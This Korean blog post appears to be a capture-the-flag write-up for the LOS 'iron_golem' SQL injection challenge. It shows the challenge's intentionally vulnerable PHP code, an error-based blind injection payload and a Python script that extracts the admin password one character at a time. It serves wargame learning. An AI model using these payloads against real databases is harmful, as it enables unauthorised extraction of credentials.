Tyojong

[LOS] iron_golem 본문

web/LOS

[LOS] iron_golem

Tyojong 2026. 2. 3. 16:17
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

 

문제 목표

if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");

sleep과 benchmark가 필터링되므로 time based sqli는 불가능하다.

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

pw가 정확히 일치해야 문제가 해결되므로 pw를 알아내야 한다.

 

if(mysqli_error($db)) exit(mysqli_error($db));

에러가 발생한다면 에러 내용을 출력하기 때문에 error based sqli가 가능하다.

 

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");

해당 필터링들 때문에 db의 pw를 직접적으로 에러 내용으로 출력시키는 것은 불가능하고 blind sqli를 진행해야한다.

 

문제 해결

?pw=' or if(1=1, 9e307*2, 0)--+ 구문을 입력하면

참일 때 에러 내용이 출력된다.

이걸 이용해서 자동화 코드를 만들고 pw를 확인하였다.

 

import requests

URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"

cookies = {"PHPSESSID": "세션 값"}

pw_len = 0
while True:
    print(f"pw length: {pw_len}", end="\r")
    payload = f"?pw=' or if(length(pw)={pw_len}, 9e307*2, 0)--+"
    r = requests.get(URL + payload, cookies=cookies)

    if "DOUBLE value" in r.text:
        break
    pw_len += 1

print(f"pw length: {pw_len}")

password = ""
for i in range(1, pw_len + 1):
    low = 32
    high = 126
    while low < high:
        mid = (low + high) // 2
        print(f"pw: {password + chr(mid)}", end="\r")
        payload = f"?pw=' or if(ascii(substr(pw,{i},1))<={mid}, 9e307*2, 0)--+"
        r = requests.get(URL + payload, cookies=cookies)

        if "DOUBLE value" in r.text:
            high = mid
        else:
            low = mid + 1
    password += chr(low)

print(f"password: {password}")

 

'web > LOS' 카테고리의 다른 글

[LOS] dragon  (0) 2026.01.30
[LOS] xavis  (2) 2026.01.27
[LOS] nightmare  (0) 2026.01.07
[LOS] zombie_assassin  (0) 2025.08.14
[LOS] succubus  (0) 2025.08.13